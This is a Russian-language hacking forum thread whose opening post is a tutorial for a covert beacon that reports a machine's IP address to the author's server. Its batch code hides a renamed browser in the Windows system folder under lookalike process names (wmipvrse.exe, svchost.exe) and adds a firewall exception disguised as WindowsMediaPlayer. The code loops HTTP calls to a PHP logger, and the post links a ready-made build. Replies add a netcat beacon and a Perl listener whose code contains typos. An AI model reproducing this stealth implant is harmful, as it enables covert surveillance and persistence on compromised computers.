В очередной раз хочу поделиться с Вами решением очень частой проблемы. Данная проблема заключается в том, чтобы узнать ИП - адрес компьютера/дедика. Нет, не просто узнать, а узнавать и иметь над этим контроль постоянно. То есть, грубо говоря, будем писать обход смены динамических IP - адресов. Как ни странно, но мы снова будем использовать связку PHP + BAT. Ну вот нехочется мне заводить таких гигантов ЯП как C или Delphi, когда можно ограничиться небольшим. Да и интереснее . К делу. Сначала принцип: Работа основана на том, что после запуска какой-то софтины, она будет стучать нам на наш скрипт PHP через HTTP, а мы ловить этот IP-адрес. Решение: Сначала необходимо продумать чем мы будет обращатся к нашему скрипту по HTTP. Можно было бы воспользоваться телнетом, но с телнет-батниками много геморроя, так как телнет не приучен хавать команды из *.bat или *.cmd скриптов. Тогда мы идем к дяде Google и вежливо его спрашиваем: "Консольный браузер для виндовс". Нам так же вежливо отвечают - "Есть такой, Links называется.". Значит качаем данный браузер и пугаемся - целых 2.5 мегабайта. Но это впринципе не беда. Почему? Потому что при создании из батника нашей "звонилки" будет проход через UPX, а это значит, что размер должен быть порядочно сжат. Теперь надо научиться с ним работать. Это оказалось очень легко, так как заход на определенный адрес идет в очень простом синтаксисе, а именно: Code: links.exe http://google.com Теперь, создадим из всех файлов браузера - только один. С таким файлом удобнее работать. Создание такого файла является простым - достаточно создать лоадер браузера: Code: "%CD%\wm[B]ipr[/B]vse.exe" %1 Где в кавычках - это путь до переименованного екзешника браузера (links.exe => wmiprvse.exe), а процент с единицей - это передача парметра открываемой страницы. Теперь компилируем данный лоадер вместе с инклудом в билд самого браузера через "Bat to Exe Converter". Данный "собранный" браузер назовем "wmipvrse.exe". Теперь, создадим саму стучалку: Code: copy "%CD%\wmipvrse.exe" "%SYSTEMROOT%\Debug\wmipvrse.exe" /y attrib "%SYSTEMROOT%\Debug\wmipvrse.exe" +h +s netsh firewall set allowedprogram "%SYSTEMROOT%\Debug\wmipvrse.exe" WindowsMediaPlayer ENABLE :rep taskkill /f /IM wmipvrse.exe taskkill /f /IM wmiprvse.exe start %SYSTEMROOT%\Debug\wmipvrse.exe %1 ping -n 1 -w 10000 0.0.0.1 goto :rep Работа очень проста: сперва мы скопируем сам браузер в системную папочку, далее сделаем ее системно-скрытой, добавим браузер в исключения файрволла, а потом по кругу, с паузой в 10 секунд (обеспечивает проверка пинга), вызываем наш браузер, и тут же его убиваем (перед следующим запуском, то есть у нас есть 10 секунд, чтобы достучатся до нашего скрипта). Тем самым, у нас есть два файла - браузер & батник, обеспечивающий его работу. Теперь вооружимся компилятором бат-файлов (его можно найти здесь - https://forum.antichat.ru/thread175086.html) и компилируем данный скрипт, с параметрами: Code: [I]- Invisible application - Temporary directory - Delete at exit - Overwrite existing files[/I] также не забываем добавить в билд сам браузер (wmipvrse.exe). Теперь достаточно переименовать сам билд в какой-нибудь svchost.exe, и запустить его примерно так: Code: svchost.exe http://lovim-ip.ru/ip.php Пример самого скрипта PHP, ловящего IP (записывает в файл "ip.html"): PHP: <?php $ip = fopen("./ip.html","a+"); fputs($ip,date("d.m.y, H:i")." - ".$_SERVER['REMOTE_ADDR']."\n"); fclose($ip); header("HTTP/ 1.1 408 Request Time-out"); ?> Тайм-аут соединения со скриптом редактируем тут - "ping -n 1 -w 10000 0.0.0.1", где 10000 равно 10 секундам. Браузер "Links" (собранный в один файл и не собранный) - Links.zip Готовая "звонилка" - Svchost.exe (запуск: svchost.exe http://adres-php-skripta.com/skript.php)
согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.
Можно было бы использовать вместо браузера netcat. Главный плюс - он весит всего 60кб, а в качестве флага исп-ть конект на порт 8888. Code: nc.exe lovim-ip.ru 8888 На сервере написать простую прогу висящую на 8888 порту Code: #!/usr/bin/perl use strict; use IO::Socket; my $sock = IO::Socket::INET->new(LocalPort => 8888, Listen => 20, Proto => 'tcp' # а можно и udp Reuse => 1, Timeout => 3600 ); while (1) { next unless my $sess = $sock->accpet; my $ip = $sess->peeraddr; print "IPaddr -> $ip\n"; shutdown $sess; } если работать через udp, то netcat надо запускать c опцией '-u'
тоже вариант. впринципе все это решается в любом случае сторонними программами/утилитами/троями итд. я показал один из вариантов.
Че доставать-то? Сорцы проги которая запрашивает команду у скрипта и выполняет ее? Мегаприват, да... UPD: Сорь за оффтоп, просто я как раз сетевым проектом занимаюсь "немного" посложнее чем бэкдор. PS: Уже лет пять не школоло
хорошая статья. но помоему проще написать на дельфи пару строчке где будет отсылатся имя компа на гейт и все и вес будет меньше